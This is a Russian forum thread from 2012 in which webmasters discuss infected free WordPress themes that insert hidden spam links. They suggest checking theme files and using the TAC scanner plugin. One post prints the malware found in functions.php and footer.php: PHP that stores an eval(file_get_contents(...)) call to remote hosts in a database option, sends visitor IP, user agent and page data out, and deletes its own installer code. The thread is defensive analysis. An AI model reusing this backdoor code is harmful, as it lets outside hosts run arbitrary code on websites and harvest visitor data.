Собственно к чему я это решил спросить, я тут не давно столкнулся с такой бедой что в месте с темой на сайт прописывается зловред который потом добавляет скрытые ссылки на страницы сайта, вещь излечимая но все же не приятная.
Кто нибудь сталкивался с такой бедой?
Возможно спрошу глупость, а все смотрят файлы темы пере установкой ее на Wordpress.
(Ответов: 20, Просмотров: 1996)
- 07.12.2012 12:41
- 07.12.2012 12:44
насколько я помню с чем-то подобным сталкивался 13-й
P.s. сам вп почти не использую, поэтому не смотрю - 07.12.2012 12:45
Шаблон с офф. сайта или какого то варезника?
- 07.12.2012 12:47
Я, например, ВСЕ файлы шаблона проверяю перед установкой новой темы.
Во-первых, для проверки темы на "злой" код, во-вторых, для исправления ошибок автора темы.
А вообще, темы нужно проверять 100%. Очень много в инете зараженных тем. - 07.12.2012 12:48
itup, ну тема вроде позиционировалась как бесплатная. Как на в самом деле хз.
- 07.12.2012 12:58
есть специальный плагин для проверки тем, как называется не помню (если найду, скину ссылку), проверяет на левые ссылки и остальное
- 07.12.2012 13:07
В общем может кому пригодится, я тут немного по исследовал данный вопрос, во что получается.
Чаще всего зловред обитает в файле functions.php, а именно:
PHP код:После активации темы он видимо меняет это код на код следующего характера, так как на зараженных сайтах код что выше отсутствовал, за то был такой:add_action('after_setup_theme', '_theme_setup');
function _theme_setup(){
$value = 'return eval(file_get_contents(\'http://wpru.ru/aksimet.php?id=\'.$post->ID.\'&m=46&n\'));';
add_option('blogoption', $value, '', 'yes');
//selfterminate
$functions = file_get_contents(TEMPLATEPATH.'/functions.php');
$p1 = substr($functions, 0, strpos($functions, '//beginXX'));
$p2 = end(explode('//endXX', $functions));
file_put_contents(TEMPLATEPATH.'/functions.php', $p1.$p2);
}
add_filter('the_content', '_bloginfo', 10001);
function _bloginfo($content){
global $post;
if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){
return $co;
} else return $content;
}
PHP код:Так же на зараженных сайтах если выполнить запрос к базе:function wp_footer_() {
return @eval(get_option('blogoption'));
}
PHP код:Результат был такой:SELECT * FROM `wp_options` WHERE `option_name` = 'blogoption'
PHP код:Выводился эта беда в footer.php функцией wp_footer_(); как видно очень похожей на родную.global $post;return eval(file_get_contents('http://mytestlabs.com/wp5.php?ag='.strpos($_SERVER['HTTP_USER_AGENT'],'yahoo').'&p404='.is_404().'&p_id='.$post->ID.'&single='.(is_single()||is_page()).'&perm='.get_permalink().'&site='.$_SERVER['HTTP_HOST'].'&page='.$_SERVER['REQUEST_URI'].'&ip='.getenv('REMOTE_ADDR')));
Весь этот зловред плодил на сайте скрытые ссылки, при просмотре их не было видно они скрывались с помощью css.
После удаления этого кода ссылки пропали.
---------- Сообщение добавлено 12:03 ---------- Предыдущее 12:01 ----------
vorons, а он проверяет до активации темы или уже непосредственно активированную тему на сайте?
---------- Сообщение добавлено 12:07 ---------- Предыдущее 12:03 ----------
lexxx, теперь я тоже :) - 07.12.2012 13:12
voffka_m,
насчетт этого честно незнаю, я его сам не проверял т.к. с wp не работаюа он проверяет до активации темы или уже непосредственно активированную тему на сайте? - 07.12.2012 13:34Студент

- Регистрация: 09.04.2010
- Сообщений: 86
- Репутация: 8
я пользуюсь плагином TAC. Ссылка на wordpress.org
Плагин TAC ищет в коде шаблона зашифрованные внешние ссылки, которые оставляют создатели шаблонов для продвижения своих сайтов.
Установка плагина TAC. В админке блога находим раздел Плагины — нажимаем Добавить новый — и в открывшемся окне вводим в строку поиска его название: TAC.
Устанавливаем плагин TAC и активируем его. Для открытия страницы плагины найдите в разделе Внешний вид — нажмите TAC. Откроется страница на которой будут представлены результаты поиска закодированных ссылок в шаблоне по всем установленным темам на сайтеСпасибо сказали:
- 07.12.2012 13:36
Я не проверял раньше. Но недавно, заметил в одном шаблоне wp скрытые ссылки, теперь смотрю. Будьте внимательны! :)
Werdik, спасибо за плагин!
Тэги топика:
Похожие темы
| Темы | Раздел | Ответов | Последний пост |
|---|---|---|---|
Проблема с WordPress- файлы .apk | WordPress | 4 | 16.10.2013 15:27 |
Помогите с установкой слайдера на wordpress | WordPress | 3 | 03.12.2012 10:08 |
Проблема с установкой Wordpress | Web программирование | 5 | 26.04.2011 11:36 |
Проблема с установкой плагина SimpleModal Login для WordPress | Web программирование | 0 | 12.04.2011 14:32 |
Как объединить Css и Javascript файлы в Wordpress | Дайджест блогосферы | 8 | 23.01.2010 12:51 |





